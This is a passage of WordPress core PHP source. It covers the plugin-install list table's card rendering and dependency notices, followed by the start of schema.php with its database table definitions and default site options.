				__( 'More Details' )
			);

			if ( ! empty( $plugin['icons']['svg'] ) ) {
				$plugin_icon_url = $plugin['icons']['svg'];
			} elseif ( ! empty( $plugin['icons']['2x'] ) ) {
				$plugin_icon_url = $plugin['icons']['2x'];
			} elseif ( ! empty( $plugin['icons']['1x'] ) ) {
				$plugin_icon_url = $plugin['icons']['1x'];
			} else {
				$plugin_icon_url = $plugin['icons']['default'];
			}

			/**
			 * Filters the install action links for a plugin.
			 *
			 * @since 2.7.0
			 *
			 * @param string[] $action_links An array of plugin action links.
			 *                               Defaults are links to Details and Install Now.
			 * @param array    $plugin       An array of plugin data. See {@see plugins_api()}
			 *                               for the list of possible values.
			 */
			$action_links = apply_filters( 'plugin_install_action_links', $action_links, $plugin );

			$last_updated_timestamp = strtotime( $plugin['last_updated'] );
			?>
		<div class="plugin-card plugin-card-<?php echo sanitize_html_class( $plugin['slug'] ); ?>">
			<?php
			if ( ! $compatible_php || ! $compatible_wp ) {
				$incompatible_notice_message = '';
				if ( ! $compatible_php && ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your versions of WordPress and PHP.' );
					if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
							' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
							self_admin_url( 'update-core.php' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					} elseif ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					} elseif ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				} elseif ( ! $compatible_wp ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of WordPress.' );
					if ( current_user_can( 'update_core' ) ) {
						$incompatible_notice_message .= printf(
							/* translators: %s: URL to WordPress Updates screen. */
							' ' . __( '<a href="%s">Please update WordPress</a>.' ),
							self_admin_url( 'update-core.php' )
						);
					}
				} elseif ( ! $compatible_php ) {
					$incompatible_notice_message .= __( 'This plugin does not work with your version of PHP.' );
					if ( current_user_can( 'update_php' ) ) {
						$incompatible_notice_message .= sprintf(
							/* translators: %s: URL to Update PHP page. */
							' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
							esc_url( wp_get_update_php_url() )
						);
						$incompatible_notice_message .= wp_update_php_annotation( '</p><p><em>', '</em>', false );
					}
				}

				wp_admin_notice(
					$incompatible_notice_message,
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'inline' ),
					)
				);
			}
			?>
			<div class="plugin-card-top">
				<div class="name column-name">
					<h3>
						<a href="<?php echo esc_url( $details_link ); ?>" class="thickbox open-plugin-details-modal">
						<?php echo $title; ?>
						<img src="<?php echo esc_url( $plugin_icon_url ); ?>" class="plugin-icon" alt="" />
						</a>
					</h3>
				</div>
				<div class="action-links">
					<?php
					if ( $action_links ) {
						echo '<ul class="plugin-action-buttons"><li>' . implode( '</li><li>', $action_links ) . '</li></ul>';
					}
					?>
				</div>
				<div class="desc column-description">
					<p><?php echo $description; ?></p>
					<p class="authors"><?php echo $author; ?></p>
				</div>
			</div>
			<?php
			$dependencies_notice = $this->get_dependencies_notice( $plugin );
			if ( ! empty( $dependencies_notice ) ) {
				echo $dependencies_notice;
			}
			?>
			<div class="plugin-card-bottom">
				<div class="vers column-rating">
					<?php
					wp_star_rating(
						array(
							'rating' => $plugin['rating'],
							'type'   => 'percent',
							'number' => $plugin['num_ratings'],
						)
					);
					?>
					<span class="num-ratings" aria-hidden="true">(<?php echo number_format_i18n( $plugin['num_ratings'] ); ?>)</span>
				</div>
				<div class="column-updated">
					<strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
						/* translators: %s: Human-readable time difference. */
						printf( __( '%s ago' ), human_time_diff( $last_updated_timestamp ) );
					?>
				</div>
				<div class="column-downloaded">
					<?php
					if ( $plugin['active_installs'] >= 1000000 ) {
						$active_installs_millions = floor( $plugin['active_installs'] / 1000000 );
						$active_installs_text     = sprintf(
							/* translators: %s: Number of millions. */
							_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
							number_format_i18n( $active_installs_millions )
						);
					} elseif ( 0 === $plugin['active_installs'] ) {
						$active_installs_text = _x( 'Less Than 10', 'Active plugin installations' );
					} else {
						$active_installs_text = number_format_i18n( $plugin['active_installs'] ) . '+';
					}
					/* translators: %s: Number of installations. */
					printf( __( '%s Active Installations' ), $active_installs_text );
					?>
				</div>
				<div class="column-compatibility">
					<?php
					if ( ! $tested_wp ) {
						echo '<span class="compatibility-untested">' . __( 'Untested with your version of WordPress' ) . '</span>';
					} elseif ( ! $compatible_wp ) {
						echo '<span class="compatibility-incompatible">' . __( '<strong>Incompatible</strong> with your version of WordPress' ) . '</span>';
					} else {
						echo '<span class="compatibility-compatible">' . __( '<strong>Compatible</strong> with your version of WordPress' ) . '</span>';
					}
					?>
				</div>
			</div>
		</div>
			<?php
		}

		// Close off the group divs of the last one.
		if ( ! empty( $group ) ) {
			echo '</div></div>';
		}
	}

	/**
	 * Returns a notice containing a list of dependencies required by the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param array  $plugin_data An array of plugin data. See {@see plugins_api()}
	 *                            for the list of possible values.
	 * @return string A notice containing a list of dependencies required by the plugin,
	 *                or an empty string if none is required.
	 */
	protected function get_dependencies_notice( $plugin_data ) {
		if ( empty( $plugin_data['requires_plugins'] ) ) {
			return '';
		}

		$no_name_markup  = '<div class="plugin-dependency"><span class="plugin-dependency-name">%s</span></div>';
		$has_name_markup = '<div class="plugin-dependency"><span class="plugin-dependency-name">%s</span> %s</div>';

		$dependencies_list = '';
		foreach ( $plugin_data['requires_plugins'] as $dependency ) {
			$dependency_data = WP_Plugin_Dependencies::get_dependency_data( $dependency );

			if (
				false !== $dependency_data &&
				! empty( $dependency_data['name'] ) &&
				! empty( $dependency_data['slug'] ) &&
				! empty( $dependency_data['version'] )
			) {
				$more_details_link  = $this->get_more_details_link( $dependency_data['name'], $dependency_data['slug'] );
				$dependencies_list .= sprintf( $has_name_markup, esc_html( $dependency_data['name'] ), $more_details_link );
				continue;
			}

			$result = plugins_api( 'plugin_information', array( 'slug' => $dependency ) );

			if ( ! empty( $result->name ) ) {
				$more_details_link  = $this->get_more_details_link( $result->name, $result->slug );
				$dependencies_list .= sprintf( $has_name_markup, esc_html( $result->name ), $more_details_link );
				continue;
			}

			$dependencies_list .= sprintf( $no_name_markup, esc_html( $dependency ) );
		}

		$dependencies_notice = sprintf(
			'<div class="plugin-dependencies notice notice-alt notice-info inline"><p class="plugin-dependencies-explainer-text">%s</p> %s</div>',
			'<strong>' . __( 'Additional plugins are required' ) . '</strong>',
			$dependencies_list
		);

		return $dependencies_notice;
	}

	/**
	 * Creates a 'More details' link for the plugin.
	 *
	 * @since 6.5.0
	 *
	 * @param string $name The plugin's name.
	 * @param string $slug The plugin's slug.
	 * @return string The 'More details' link for the plugin.
	 */
	protected function get_more_details_link( $name, $slug ) {
		$url = add_query_arg(
			array(
				'tab'       => 'plugin-information',
				'plugin'    => $slug,
				'TB_iframe' => 'true',
				'width'     => '600',
				'height'    => '550',
			),
			network_admin_url( 'plugin-install.php' )
		);

		$more_details_link = sprintf(
			'<a href="%1$s" class="more-details-link thickbox open-plugin-details-modal" aria-label="%2$s" data-title="%3$s">%4$s</a>',
			esc_url( $url ),
			/* translators: %s: Plugin name. */
			sprintf( __( 'More information about %s' ), esc_html( $name ) ),
			esc_attr( $name ),
			__( 'More Details' )
		);

		return $more_details_link;
	}
}
<?php
/**
 * WordPress Administration Scheme API
 *
 * Here we keep the DB structure and option values.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Declare these as global in case schema.php is included from a function.
 *
 * @global wpdb   $wpdb            WordPress database abstraction object.
 * @global array  $wp_queries
 * @global string $charset_collate
 */
global $wpdb, $wp_queries, $charset_collate;

/**
 * The database character collate.
 */
$charset_collate = $wpdb->get_charset_collate();

/**
 * Retrieve the SQL for creating database tables.
 *
 * @since 3.3.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $scope   Optional. The tables for which to retrieve SQL. Can be all, global, ms_global, or blog tables. Defaults to all.
 * @param int    $blog_id Optional. The site ID for which to retrieve SQL. Default is the current site ID.
 * @return string The SQL needed to create the requested tables.
 */
function wp_get_db_schema( $scope = 'all', $blog_id = null ) {
	global $wpdb;

	$charset_collate = $wpdb->get_charset_collate();

	if ( $blog_id && (int) $blog_id !== $wpdb->blogid ) {
		$old_blog_id = $wpdb->set_blog_id( $blog_id );
	}

	// Engage multisite if in the middle of turning it on from network.php.
	$is_multisite = is_multisite() || ( defined( 'WP_INSTALLING_NETWORK' ) && WP_INSTALLING_NETWORK );

	/*
	 * Indexes have a maximum size of 767 bytes. Historically, we haven't need to be concerned about that.
	 * As of 4.2, however, we moved to utf8mb4, which uses 4 bytes per character. This means that an index which
	 * used to have room for floor(767/3) = 255 characters, now only has room for floor(767/4) = 191 characters.
	 */
	$max_index_length = 191;

	// Blog-specific tables.
	$blog_tables = "CREATE TABLE $wpdb->termmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	term_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY term_id (term_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->terms (
 term_id bigint(20) unsigned NOT NULL auto_increment,
 name varchar(200) NOT NULL default '',
 slug varchar(200) NOT NULL default '',
 term_group bigint(10) NOT NULL default 0,
 PRIMARY KEY  (term_id),
 KEY slug (slug($max_index_length)),
 KEY name (name($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->term_taxonomy (
 term_taxonomy_id bigint(20) unsigned NOT NULL auto_increment,
 term_id bigint(20) unsigned NOT NULL default 0,
 taxonomy varchar(32) NOT NULL default '',
 description longtext NOT NULL,
 parent bigint(20) unsigned NOT NULL default 0,
 count bigint(20) NOT NULL default 0,
 PRIMARY KEY  (term_taxonomy_id),
 UNIQUE KEY term_id_taxonomy (term_id,taxonomy),
 KEY taxonomy (taxonomy)
) $charset_collate;
CREATE TABLE $wpdb->term_relationships (
 object_id bigint(20) unsigned NOT NULL default 0,
 term_taxonomy_id bigint(20) unsigned NOT NULL default 0,
 term_order int(11) NOT NULL default 0,
 PRIMARY KEY  (object_id,term_taxonomy_id),
 KEY term_taxonomy_id (term_taxonomy_id)
) $charset_collate;
CREATE TABLE $wpdb->commentmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	comment_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY comment_id (comment_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->comments (
	comment_ID bigint(20) unsigned NOT NULL auto_increment,
	comment_post_ID bigint(20) unsigned NOT NULL default '0',
	comment_author tinytext NOT NULL,
	comment_author_email varchar(100) NOT NULL default '',
	comment_author_url varchar(200) NOT NULL default '',
	comment_author_IP varchar(100) NOT NULL default '',
	comment_date datetime NOT NULL default '0000-00-00 00:00:00',
	comment_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	comment_content text NOT NULL,
	comment_karma int(11) NOT NULL default '0',
	comment_approved varchar(20) NOT NULL default '1',
	comment_agent varchar(255) NOT NULL default '',
	comment_type varchar(20) NOT NULL default 'comment',
	comment_parent bigint(20) unsigned NOT NULL default '0',
	user_id bigint(20) unsigned NOT NULL default '0',
	PRIMARY KEY  (comment_ID),
	KEY comment_post_ID (comment_post_ID),
	KEY comment_approved_date_gmt (comment_approved,comment_date_gmt),
	KEY comment_date_gmt (comment_date_gmt),
	KEY comment_parent (comment_parent),
	KEY comment_author_email (comment_author_email(10))
) $charset_collate;
CREATE TABLE $wpdb->links (
	link_id bigint(20) unsigned NOT NULL auto_increment,
	link_url varchar(255) NOT NULL default '',
	link_name varchar(255) NOT NULL default '',
	link_image varchar(255) NOT NULL default '',
	link_target varchar(25) NOT NULL default '',
	link_description varchar(255) NOT NULL default '',
	link_visible varchar(20) NOT NULL default 'Y',
	link_owner bigint(20) unsigned NOT NULL default '1',
	link_rating int(11) NOT NULL default '0',
	link_updated datetime NOT NULL default '0000-00-00 00:00:00',
	link_rel varchar(255) NOT NULL default '',
	link_notes mediumtext NOT NULL,
	link_rss varchar(255) NOT NULL default '',
	PRIMARY KEY  (link_id),
	KEY link_visible (link_visible)
) $charset_collate;
CREATE TABLE $wpdb->options (
	option_id bigint(20) unsigned NOT NULL auto_increment,
	option_name varchar(191) NOT NULL default '',
	option_value longtext NOT NULL,
	autoload varchar(20) NOT NULL default 'yes',
	PRIMARY KEY  (option_id),
	UNIQUE KEY option_name (option_name),
	KEY autoload (autoload)
) $charset_collate;
CREATE TABLE $wpdb->postmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	post_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY post_id (post_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;
CREATE TABLE $wpdb->posts (
	ID bigint(20) unsigned NOT NULL auto_increment,
	post_author bigint(20) unsigned NOT NULL default '0',
	post_date datetime NOT NULL default '0000-00-00 00:00:00',
	post_date_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	post_content longtext NOT NULL,
	post_title text NOT NULL,
	post_excerpt text NOT NULL,
	post_status varchar(20) NOT NULL default 'publish',
	comment_status varchar(20) NOT NULL default 'open',
	ping_status varchar(20) NOT NULL default 'open',
	post_password varchar(255) NOT NULL default '',
	post_name varchar(200) NOT NULL default '',
	to_ping text NOT NULL,
	pinged text NOT NULL,
	post_modified datetime NOT NULL default '0000-00-00 00:00:00',
	post_modified_gmt datetime NOT NULL default '0000-00-00 00:00:00',
	post_content_filtered longtext NOT NULL,
	post_parent bigint(20) unsigned NOT NULL default '0',
	guid varchar(255) NOT NULL default '',
	menu_order int(11) NOT NULL default '0',
	post_type varchar(20) NOT NULL default 'post',
	post_mime_type varchar(100) NOT NULL default '',
	comment_count bigint(20) NOT NULL default '0',
	PRIMARY KEY  (ID),
	KEY post_name (post_name($max_index_length)),
	KEY type_status_date (post_type,post_status,post_date,ID),
	KEY post_parent (post_parent),
	KEY post_author (post_author)
) $charset_collate;\n";

	// Single site users table. The multisite flavor of the users table is handled below.
	$users_single_table = "CREATE TABLE $wpdb->users (
	ID bigint(20) unsigned NOT NULL auto_increment,
	user_login varchar(60) NOT NULL default '',
	user_pass varchar(255) NOT NULL default '',
	user_nicename varchar(50) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	user_url varchar(100) NOT NULL default '',
	user_registered datetime NOT NULL default '0000-00-00 00:00:00',
	user_activation_key varchar(255) NOT NULL default '',
	user_status int(11) NOT NULL default '0',
	display_name varchar(250) NOT NULL default '',
	PRIMARY KEY  (ID),
	KEY user_login_key (user_login),
	KEY user_nicename (user_nicename),
	KEY user_email (user_email)
) $charset_collate;\n";

	// Multisite users table.
	$users_multi_table = "CREATE TABLE $wpdb->users (
	ID bigint(20) unsigned NOT NULL auto_increment,
	user_login varchar(60) NOT NULL default '',
	user_pass varchar(255) NOT NULL default '',
	user_nicename varchar(50) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	user_url varchar(100) NOT NULL default '',
	user_registered datetime NOT NULL default '0000-00-00 00:00:00',
	user_activation_key varchar(255) NOT NULL default '',
	user_status int(11) NOT NULL default '0',
	display_name varchar(250) NOT NULL default '',
	spam tinyint(2) NOT NULL default '0',
	deleted tinyint(2) NOT NULL default '0',
	PRIMARY KEY  (ID),
	KEY user_login_key (user_login),
	KEY user_nicename (user_nicename),
	KEY user_email (user_email)
) $charset_collate;\n";

	// Usermeta.
	$usermeta_table = "CREATE TABLE $wpdb->usermeta (
	umeta_id bigint(20) unsigned NOT NULL auto_increment,
	user_id bigint(20) unsigned NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (umeta_id),
	KEY user_id (user_id),
	KEY meta_key (meta_key($max_index_length))
) $charset_collate;\n";

	// Global tables.
	if ( $is_multisite ) {
		$global_tables = $users_multi_table . $usermeta_table;
	} else {
		$global_tables = $users_single_table . $usermeta_table;
	}

	// Multisite global tables.
	$ms_global_tables = "CREATE TABLE $wpdb->blogs (
	blog_id bigint(20) NOT NULL auto_increment,
	site_id bigint(20) NOT NULL default '0',
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	registered datetime NOT NULL default '0000-00-00 00:00:00',
	last_updated datetime NOT NULL default '0000-00-00 00:00:00',
	public tinyint(2) NOT NULL default '1',
	archived tinyint(2) NOT NULL default '0',
	mature tinyint(2) NOT NULL default '0',
	spam tinyint(2) NOT NULL default '0',
	deleted tinyint(2) NOT NULL default '0',
	lang_id int(11) NOT NULL default '0',
	PRIMARY KEY  (blog_id),
	KEY domain (domain(50),path(5)),
	KEY lang_id (lang_id)
) $charset_collate;
CREATE TABLE $wpdb->blogmeta (
	meta_id bigint(20) unsigned NOT NULL auto_increment,
	blog_id bigint(20) NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY meta_key (meta_key($max_index_length)),
	KEY blog_id (blog_id)
) $charset_collate;
CREATE TABLE $wpdb->registration_log (
	ID bigint(20) NOT NULL auto_increment,
	email varchar(255) NOT NULL default '',
	IP varchar(30) NOT NULL default '',
	blog_id bigint(20) NOT NULL default '0',
	date_registered datetime NOT NULL default '0000-00-00 00:00:00',
	PRIMARY KEY  (ID),
	KEY IP (IP)
) $charset_collate;
CREATE TABLE $wpdb->site (
	id bigint(20) NOT NULL auto_increment,
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	PRIMARY KEY  (id),
	KEY domain (domain(140),path(51))
) $charset_collate;
CREATE TABLE $wpdb->sitemeta (
	meta_id bigint(20) NOT NULL auto_increment,
	site_id bigint(20) NOT NULL default '0',
	meta_key varchar(255) default NULL,
	meta_value longtext,
	PRIMARY KEY  (meta_id),
	KEY meta_key (meta_key($max_index_length)),
	KEY site_id (site_id)
) $charset_collate;
CREATE TABLE $wpdb->signups (
	signup_id bigint(20) NOT NULL auto_increment,
	domain varchar(200) NOT NULL default '',
	path varchar(100) NOT NULL default '',
	title longtext NOT NULL,
	user_login varchar(60) NOT NULL default '',
	user_email varchar(100) NOT NULL default '',
	registered datetime NOT NULL default '0000-00-00 00:00:00',
	activated datetime NOT NULL default '0000-00-00 00:00:00',
	active tinyint(1) NOT NULL default '0',
	activation_key varchar(50) NOT NULL default '',
	meta longtext,
	PRIMARY KEY  (signup_id),
	KEY activation_key (activation_key),
	KEY user_email (user_email),
	KEY user_login_email (user_login,user_email),
	KEY domain_path (domain(140),path(51))
) $charset_collate;";

	switch ( $scope ) {
		case 'blog':
			$queries = $blog_tables;
			break;
		case 'global':
			$queries = $global_tables;
			if ( $is_multisite ) {
				$queries .= $ms_global_tables;
			}
			break;
		case 'ms_global':
			$queries = $ms_global_tables;
			break;
		case 'all':
		default:
			$queries = $global_tables . $blog_tables;
			if ( $is_multisite ) {
				$queries .= $ms_global_tables;
			}
			break;
	}

	if ( isset( $old_blog_id ) ) {
		$wpdb->set_blog_id( $old_blog_id );
	}

	return $queries;
}

// Populate for back compat.
$wp_queries = wp_get_db_schema( 'all' );

/**
 * Create WordPress options and set the default values.
 *
 * @since 1.5.0
 * @since 5.1.0 The $options parameter has been added.
 *
 * @global wpdb $wpdb                  WordPress database abstraction object.
 * @global int  $wp_db_version         WordPress database version.
 * @global int  $wp_current_db_version The old (current) database version.
 *
 * @param array $options Optional. Custom option $key => $value pairs to use. Default empty array.
 */
function populate_options( array $options = array() ) {
	global $wpdb, $wp_db_version, $wp_current_db_version;

	$guessurl = wp_guess_url();
	/**
	 * Fires before creating WordPress options and populating their default values.
	 *
	 * @since 2.6.0
	 */
	do_action( 'populate_options' );

	// If WP_DEFAULT_THEME doesn't exist, fall back to the latest core default theme.
	$stylesheet = WP_DEFAULT_THEME;
	$template   = WP_DEFAULT_THEME;
	$theme      = wp_get_theme( WP_DEFAULT_THEME );
	if ( ! $theme->exists() ) {
		$theme = WP_Theme::get_core_default_theme();
	}

	// If we can't find a core default theme, WP_DEFAULT_THEME is the best we can do.
	if ( $theme ) {
		$stylesheet = $theme->get_stylesheet();
		$template   = $theme->get_template();
	}

	$timezone_string = '';
	$gmt_offset      = 0;
	/*
	 * translators: default GMT offset or timezone string. Must be either a valid offset (-12 to 14)
	 * or a valid timezone string (America/New_York). See https://www.php.net/manual/en/timezones.php
	 * for all timezone strings currently supported by PHP.
	 *
	 * Important: When a previous timezone string, like `Europe/Kiev`, has been superseded by an
	 * updated one, like `Europe/Kyiv`, as a rule of thumb, the **old** timezone name should be used
	 * in the "translation" to allow for the default timezone setting to be PHP cross-version compatible,
	 * as old timezone names will be recognized in new PHP versions, while new timezone names cannot
	 * be recognized in old PHP versions.
	 *
	 * To verify which timezone strings are available in the _oldest_ PHP version supported, you can
	 * use https://3v4l.org/6YQAt#v5.6.20 and replace the "BR" (Brazil) in the code line with the
	 * country code for which you want to look up the supported timezone names.
	 */
	$offset_or_tz = _x( '0', 'default GMT offset or timezone string' );
	if ( is_numeric( $offset_or_tz ) ) {
		$gmt_offset = $offset_or_tz;
	} elseif ( $offset_or_tz && in_array( $offset_or_tz, timezone_identifiers_list( DateTimeZone::ALL_WITH_BC ), true ) ) {
		$timezone_string = $offset_or_tz;
	}

	$defaults = array(
		'siteurl'                         => $guessurl,
		'home'                            => $guessurl,
		'blogname'                        => __( 'My Site' ),
		'blogdescription'                 => '',
		'users_can_register'              => 0,
		'admin_email'                     => 'you@example.com',
		/* translators: Default start of the week. 0 = Sunday, 1 = Monday. */
		'start_of_week'                   => _x( '1', 'start of week' ),
		'use_balanceTags'                 => 0,
		'use_smilies'                     => 1,
		'require_name_email'              => 1,
		'comments_notify'                 => 1,
		'posts_per_rss'                   => 10,
		'rss_use_excerpt'                 => 0,
		'mailserver_url'                  => 'mail.example.com',
		'mailserver_login'                => 'login@example.com',
		'mailserver_pass'                 => 'password',
		'mailserver_port'                 => 110,
		'default_category'                => 1,
		'default_comment_status'          => 'open',
		'default_ping_status'             => 'open',
		'default_pingback_flag'           => 1,
		'posts_per_page'                  => 10,
		/* translators: Default date format, see https://www.php.net/manual/datetime.format.php */
		'date_format'                     => __( 'F j, Y' ),
		/* translators: Default time format, see https://www.php.net/manual/datetime.format.php */
		'time_format'                     => __( 'g:i a' ),
		/* translators: Links last updated date format, see https://www.php.net/manual/datetime.format.php */
		'links_updated_date_format'       => __( 'F j, Y g:i a' ),
		'comment_moderation'              => 0,
		'moderation_notify'               => 1,
		'permalink_structure'             => '',
		'rewrite_rules'                   => '',
		'hack_file'                       => 0,
		'blog_charset'                    => 'UTF-8',
		'moderation_keys'                 => '',
		'active_plugins'                  => array(),
		'category_base'                   => '',
		'ping_sites'                      => 'http://rpc.pingomatic.com/',
		'comment_max_links'               => 2,
		'gmt_offset'                      => $gmt_offset,

		// 1.5.0
		'default_email_category'          => 1,
		'recently_edited'                 => '',
		'template'                        => $template,
		'stylesheet'                      => $stylesheet,
		'comment_registration'            => 0,
		'html_type'                       => 'text/html',

		// 1.5.1
		'use_trackback'                   => 0,

		// 2.0.0
		'default_role'                    => 'subscriber',
		'db_version'                      => $wp_db_version,

		// 2.0.1
		'uploads_use_yearmonth_folders'   => 1,
		'upload_path'                     => '',

		// 2.1.0
		'blog_public'                     => '1',
		'default_link_category'           => 2,
		'show_on_front'                   => 'posts',

		// 2.2.0
		'tag_base'                        => '',

		// 2.5.0
		'show_avatars'                    => '1',
		'avatar_rating'                   => 'G',
		'upload_url_path'                 => '',
		'thumbnail_size_w'                => 150,
		'thumbnail_size_h'                => 150,
		'thumbnail_crop'                  => 1,
		'medium_size_w'                   => 300,
		'medium_size_h'                   => 300,

		// 2.6.0
		'avatar_default'                  => 'mystery',

		// 2.7.0
		'large_size_w'                    => 1024,
		'large_size_h'                    => 1024,
		'image_default_link_type'         => 'none',
		'image_default_size'              => '',
		'image_default_align'             => '',
		'close_comments_for_old_posts'    => 0,
		'close_comments_days_old'         => 14,
		'thread_comments'                 => 1,
		'thread_comments_depth'           => 5,
		'page_comments'                   => 0,
		'comments_per_page'               => 50,
		'default_comments_page'           => 'newest',
		'comment_order'                   => 'asc',
		'sticky_posts'                    => array(),
		'widget_categories'               => array(),
		'widget_text'                     => array(),
		'widget_rss'                      => array(),
		'uninstall_plugins'               => array(),

		// 2.8.0
		'timezone_string'                 => $timezone_string,

		// 3.0.0
		'page_for_posts'                  => 0,
		'page_on_front'                   => 0,

		// 3.1.0
		'default_post_format'             => 0,

		// 3.5.0
		'link_manager_enabled'            => 0,

		// 4.3.0
		'finished_splitting_shared_terms' => 1,
		'site_icon'                       => 0,

		// 4.4.0
		'medium_large_size_w'             => 768,
		'medium_large_size_h'             => 0,

		// 4.9.6
		'wp_page_for_privacy_policy'      => 0,

		// 4.9.8
		'show_comments_cookies_opt_in'    => 1,

		// 5.3.0
		'admin_email_lifespan'            => ( time() + 6 * MONTH_IN_SECONDS ),

		// 5.5.0
		'disallowed_keys'                 => '',
		'comment_previously_approved'     => 1,
		'auto_plugin_theme_update_emails' => array(),

		// 5.6.0
		'auto_update_core_dev'            => 'enabled',
		'auto_update_core_minor'          => 'enabled',
		/*
		 * Default to enabled for new installs.
		 * See https://core.trac.wordpress.org/ticket/51742.
		 */
		'auto_update_core_major'          => 'enabled',

		// 5.8.0
		'wp_force_deactivated_plugins'    => array(),

		// 6.4.0
		'wp_attachment_pages_enabled'     => 0,
	);

	// 3.3.0
	if ( ! is_multisite() ) {
		$defaults['initial_db_version'] = ! empty( $wp_current_db_version ) && $wp_current_db_version < $wp_db_version
			? $wp_current_db_version : $wp_db_version;
	}

	// 3.0.0 multisite.
	if ( is_multisite() ) {
		$defaults['permalink_structure'] = '/%year%/%monthnum%/%day%/%postname%/';
	}

	$options = wp_parse_args( $options, $defaults );

	// Set autoload to no for these options.
	$fat_options = array(
		'moderation_keys',
		'recently_edited',
		'disallowed_keys',
		'uninstall_plugins',
		'auto_plugin_theme_update_emails',
	);

	$keys             = "'" . implode( "', '", array_keys( $options ) ) . "'";
	$existing_options = $wpdb->get_col( "SELECT option_name FROM $wpdb->options WHERE option_name in ( $keys )" ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared

	$insert = '';

	foreach ( $options as $option => $value ) {
		if ( in_array( $option, $existing_options, true ) ) {
			continue;
		}

		if ( in_array( $option, $fat_options, true ) ) {
			$autoload = 'no';
		} else {
			$autoload = 'yes';
		}

		if ( ! empty( $insert ) ) {
			$insert .= ', ';
		}

		$value = maybe_serialize( sanitize_option( $option, $value ) );

		$insert .= $wpdb->prepare( '(%s, %s, %s)', $option, $value, $autoload );
	}

	if ( ! empty( $insert ) ) {
		$wpdb->query( "INSERT INTO $wpdb->options (option_name, option_value, autoload) VALUES " . $insert ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
	}

	// In case it is set, but blank, update "home".
	if ( ! __get_option( 'home' ) ) {
		update_option( 'home', $guessurl );
	}

	// Delete unused options.
	$unusedoptions = array(
		'blodotgsping_url',
		'bodyterminator',
		'emailtestonly',
		'phoneemail_separator',
		'smilies_directory',
		'subjectprefix',
		'use_bbcode',
		'use_blodotgsping',
		'use_phoneemail',
		'use_quicktags',
		'use_weblogsping',
		'weblogs_cache_file',
		'use_preview',
		'use_htmltrans',
		'smilies_directory',
		'fileupload_allowedusers',
		'use_phoneemail',
		'default_post_status',
		'default_post_category',
		'archive_mode',
		'time_difference',
		'links_minadminlevel',
		'links_use_adminlevels',
		'links_rating_type',
		'links_rating_char',
		'links_rating_ignore_zero',
		'links_rating_single_image',
		'links_rating_image0',
		'links_rating_image1',
		'links_rating_image2',
		'links_rating_image3',
		'links_rating_image4',
		'links_rating_image5',
		'links_rating_image6',
		'links_rating_image7',
		'links_rating_image8',
		'links_rating_image9',
		'links_recently_updated_time',
		'links_recently_updated_prepend',
		'links_recently_updated_append',
		'weblogs_cacheminutes',
		'comment_allowed_tags',
		'search_engine_friendly_urls',
		'default_geourl_lat',
		'default_geourl_lon',
		'use_default_geourl',
		'weblogs_xml_url',
		'new_users_can_blog',
		'_wpnonce',
		'_wp_http_referer',
		'Update',
		'action',
		'rich_editing',
		'autosave_interval',
		'deactivated_plugins',
		'can_compress_scripts',
		'page_uris',
		'update_core',
		'update_plugins',
		'update_themes',
		'doing_cron',
		'random_seed',
		'rss_excerpt_length',
		'secret',
		'use_linksupdate',
		'default_comment_status_page',
		'wporg_popular_tags',
		'what_to_show',
		'rss_language',
		'language',
		'enable_xmlrpc',
		'enable_app',
		'embed_autourls',
		'default_post_edit_rows',
		'gzipcompression',
		'advanced_edit',
	);
	foreach ( $unusedoptions as $option ) {
		delete_option( $option );
	}

	// Delete obsolete magpie stuff.
